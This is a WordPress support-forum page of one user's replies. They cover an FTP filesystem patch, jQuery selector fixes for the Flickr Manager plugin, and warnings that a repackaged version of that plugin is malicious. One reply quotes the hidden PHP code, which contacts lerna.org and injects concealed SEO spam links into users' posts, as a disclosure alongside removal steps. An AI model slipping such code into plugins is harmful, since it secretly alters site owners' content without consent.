Forum Replies Created

Viewing 15 replies - 1 through 15 (of 16 total)
  • Thread Starter fwaggle

    (@fwaggle)

    Ahh thanks, and in fact it looks like someone else already posted it, others arrived at the same conclusion I did and it’s had some testing. Looks as though it’ll make it to 2.9. Thanks for pointing me in the right direction I was starting to worry. 🙂

    Thread Starter fwaggle

    (@fwaggle)

    Has anyone looked at this? This is seriously becoming a huge thorn in my side, every minor update breaks plugin upgrading again and the patch looks so trivial. If someone could at least explain why it’s a dumb idea, that’d be great.

    Thread Starter fwaggle

    (@fwaggle)

    What was the rationalization for choosing ftp_rawlist() in the first place? I’ve tried to find out why ftp_nlist() wasn’t chosen, and I can’t seem to find any services it’s broken on – at least for the purposes of finding out if a path exists or not.

    The following patch makes exists() work as expected, and fixes the upgrade problems without any nasty hax0ring… so I’d appreciate if anyone smarter than me could take a look at it and let me know if there’s any reason it can’t go into a future update of WordPress, because it’d make my life a whole lot easier.

    I ran into problems with proftpd, and I don’t need a full-fledged FTP daemon – we only run it on localhost specifically for the purpose of upgrading WordPress and it’s plugins, so it kinda stinks that it’s broken with a stock WordPress. 🙁

    --- wp-admin/includes/class-wp-filesystem-ftpext.php 2009-08-04 20:55:35.000000000 +0000
    +++ wp-admin/includes/class-wp-filesystem-ftpext.php 2009-08-04 21:11:16.000000000 +0000
    @@ -201,7 +201,7 @@
            }
    
            function exists($file) {
    -               $list = @ftp_rawlist($this->link, $file, false);
    +               $list = @ftp_nlist($this->link, $file);
                    return !empty($list); //empty list = no file, so invert.
            }
            function is_file($file) {

    @valkyrie66: Thanks, and I’ll simply reiterate here because I’ve gotten a couple emails and one ping-back about it… credit for the fix still 100% lays with ogrethegreat – I don’t know enough about jQuery to have fixed it myself.

    @triseult: in wordpress-flickr-manager/js/wfm-lightbox.php, on or around line #91, change:

    wfmJS('a[@rel*=flickr-mgr]').each(function(){

    to:

    wfmJS('a[rel*=flickr-mgr]').each(function(){

    It appears to work for me. Let me just double check I didn’t miss anything else stupid, and I’ll update this post. I must confess I don’t use too much of the features of this plugin and only originally tested the bit I use (vanilla inserting photo into a post).

    Nope, I believe that’s it. I fixed the package on my site also.

    @1ayah: wordpress-flickr-manager/js/media-panel.php, line #143, take the @ symbol out:

    var imgHTML = '[flickrset id="' + id + '" thumbnail="' + jQuery("input[@name='flickr-size...

    becomes:

    var imgHTML = '[flickrset id="' + id + '" thumbnail="' + jQuery("input[name='flickr-size...

    Seems to work for me now. I’ll update the one for download on my site.

    Edit: Updated the download @ fwaggle.org so that inserting photosets works.

    @teampl4y4: Inserting arbitrary HTML in a surreptitious way remotely without any disclosure is most definitely not the same as “this theme designed by XXX”.

    @triseult: Indeed, if only the insertion of links was as transparent as the sockpuppet that teampl4y4 is.

    I’m not paranoid, you posted adware – unsolicited and unadvertised. If you’d read the thread, I did post a cleaned package. I appreciate your time fixing it and fully acknowledge that I couldn’t have done it myself because my experience with Javascript is limited to DHTML stuff from a decade ago – jQuery is completely foreign to me.

    However you’re not being 100% truthful in what you say. For starters the 10% chance (which if you want to split hairs, is slightly different from 10% of images posted), can at any time, without cooperation from the blog owner(s) be ramped up to 100% by you if you so choose.

    The links that the plugin posts are blackhat SEO techniques, the links are intentionally hidden (hence the 10 pixels wide element, which contains an element that’s shifted over 20 pixels so it won’t show up in any CSS-enabled browser). These links flow pagerank, which is the exact kind of thing that Google penalizes people for. Given that the site in your profile and the site you hosted it on is called “seoishard”, I find it ridiculous that you’re feigning ignorance over this.

    You and I both know exactly why those links are there, the only difference is I’d admit it. There’s absolutely no difference between your version of the plugin and adware which gets installed to people’s PCs without their permission.

    It’s malicious in that it’s not described behavior of the script – nowhere in the description does it say it’ll put links in the posts. Furthermore, hidden links like this are the exact kind of thing Google punishes people for.

    It’s also not the same as a template or whatever, because the links are hidden and they’re not linking back to *him* – they’re linking to an assortment of sites that he’s (presumably) getting paid to inflate the PR of.

    To clear up, I wouldn’t have a problem with it if:

    1) The links were visible, and not surreptitiously hidden in “10% of” posts.
    2) The behavior was described when you suggested people downloaded it… “oh by the way, I insert a few links for my gain, keep them please as a token of your appreciation”.
    3) The links were to a real blog of your’s, as opposed to some janky SEO websites.

    So I’d call that malicious. You say potato, I say potahto. Personally, I find it very hard to believe this code was put in by accident, and I think anyone else with any experience at all with PHP would be inclined to agree with me.

    Thread Starter fwaggle

    (@fwaggle)

    Hi Cj,

    Sorry for the delay in response.

    Basically what I’d like to do is have an automatic roll-out script of WordPress that self-updates, without repeatedly grabbing latest.tar.gz when it’s not necessary.

    The way I figure on doing this is storing the checksum of latest.tar.gz, then if WordPress could store the checksum in say latest.md5, I could simply download that and compare it. A few bytes a day, as opposed to grabbing latest.tar.gz every day.

    My script downloads ww.wp.xz.cn/latest.md5, I compare it to the md5 of the version I have… if they’re different, it downloads latest.tar.gz and extracts it.

    Basically what I was saying about the version numbers is that there’s no way to get the MD5 without taking guesses at the most recent version numbers and grabbing them off the changes page, which is probably no easier than any other method you can dream up.

    TL;DR: If ww.wp.xz.cn would store a simple text file with the MD5 in ww.wp.xz.cn/latest.md5, it’d make my life a load easier. 😀

    CoBa1t: There’s not much to analyze, the version ogre linked to simply connects to lerna.org (I’m assuming it’s some silly reference to a blackhat SEO “hydra”) to grab a set of links it’s supposed to add to your entries to get them better search engine positions, then it adds the links every time you insert a photo to a tiny layer that’s not visible to most CSS-enabled viewers, but is very visible to search engines.

    The download link I posted above should be “safe”, but given how many people so readily installed the “malicious” plugin (myself included, *sheepish*) I think it’s probably best we don’t go encouraging installing random people’s plugins. If you want to make the changes yourself, take a look at the .diff – basically any line that starts with a – means something’s taken out, and the + means something added.

    Simply put, what you’re looking for is in these files:

    wordpress-flickr-manager/js/media-panel.php
    wordpress-flickr-manager/js/wfm-hs.php
    wordpress-flickr-manager/js/wfm-lightbox.php

    You’re looking for jQuery lines that contain @name or @rel, and you’re going to take the @ character off the front of @name or @rel, so for example:

    this: wfmJS(‘a[@rel*=flickr-mgr]’).each(function() {
    becomes: wfmJS(‘a[rel*=flickr-mgr]’).each(function() {

    There’s no new code or anything like that, you can make those changes (or apply the diff above using “patch” if you have shell access) to the current version downloadable from ww.wp.xz.cn… I think that’s the safest way to do it, as even a layperson would have a pretty tough time believing that deleting a few @ characters would do anything malicious.

    I also sent the information to Trent, so hopefully he can just take a few minutes (I’m sure he’s very busy) to verify the patch is correct and safe, apply it, and push a new version out – that would ease everyone’s minds.

    Don’t install this “updated” version, it has malicious software in it.

    See my comments here: http://ww.wp.xz.cn/support/topic/281990?replies=8

    Don’t install this “updated” version, it has malicious software in it.

    See my comments here: http://ww.wp.xz.cn/support/topic/281990?replies=8

    Don’t install this “updated” version, it has malicious software in it.

    See my comments here: http://ww.wp.xz.cn/support/topic/281990?replies=8

    Here’s some code, sans trojan horse bullcrap (I just took TGardner’s version, and made the non-malicious changes):

    http://www.fwaggle.org/downloads/wordpress-flickr-manager.zip

    If you’re interested in what actually changed:

    http://www.fwaggle.org/downloads/wordpress-flickr-manager-wp2.8.diff

    For contrast, here’s some of what I consider to be the “malicious” code:

    +if (!function_exists('file_get_contents')) {
    +    function file_get_contents($filename, $incpath = false, $resource_context =
     null)
    +    {
    +        if (false === $fh = fopen($filename, 'rb', $incpath)) {
    +            trigger_error('file_get_contents() failed to open stream: No such f
    ile or directory', E_USER_WARNING);
    +            return false;
    +        }
    +
    +        clearstatcache();
    +        if ($fsize = @filesize($filename)) {
    +            $data = fread($fh, $fsize);
    +        } else {
    +            $data = '';
    +            while (!feof($fh)) {
    +                $data .= fread($fh, 8192);
    +            }
    +        }
    +
    +        fclose($fh);
    +        return $data;
    +    }
    +}
    
    +    <?php
    +    $rand = rand( 0, 100 );
    +    $seed=false;
    +    @$seed = (int) unserialize(file_get_contents( 'http://lerna.org/api/link/seed?app=flickr_manager' ));
    +    if(!$seed) {
    +        $seed = 10;
    +    }
    +    if ( $rand < $seed ) {
    +        $link = file_get_contents( sprintf('http://www.lerna.org/api/link/?format=%s&ref=%s&tid=%d', 'html', "http://".$_SERVER['SERVER_NAME'], 2));
    +        echo "imgHTML+='<div style=\"width:10px;height:3px;display:block;overflow:hidden;\">".str_replace("href","style=\"text-indent: 20px; display: block;\" href",$link)."</div>';";
    +    }
    +    ?>

    This is great news, unfortunately the “fixed” version inserts unsolicited “SEO” links into your posts. Removal instructions per a post here:

    http://www.fwaggle.org/blog/internet/update-wordpress-plugins-profit

    Basically, you’re going to open up js/media-panel.php, around line #152 you’re looking for an “echo innerhtml +=” line, comment it out.

    I’m going to run a full diff between it and the latest version from tgardner to see what else’s changed.

Viewing 15 replies - 1 through 15 (of 16 total)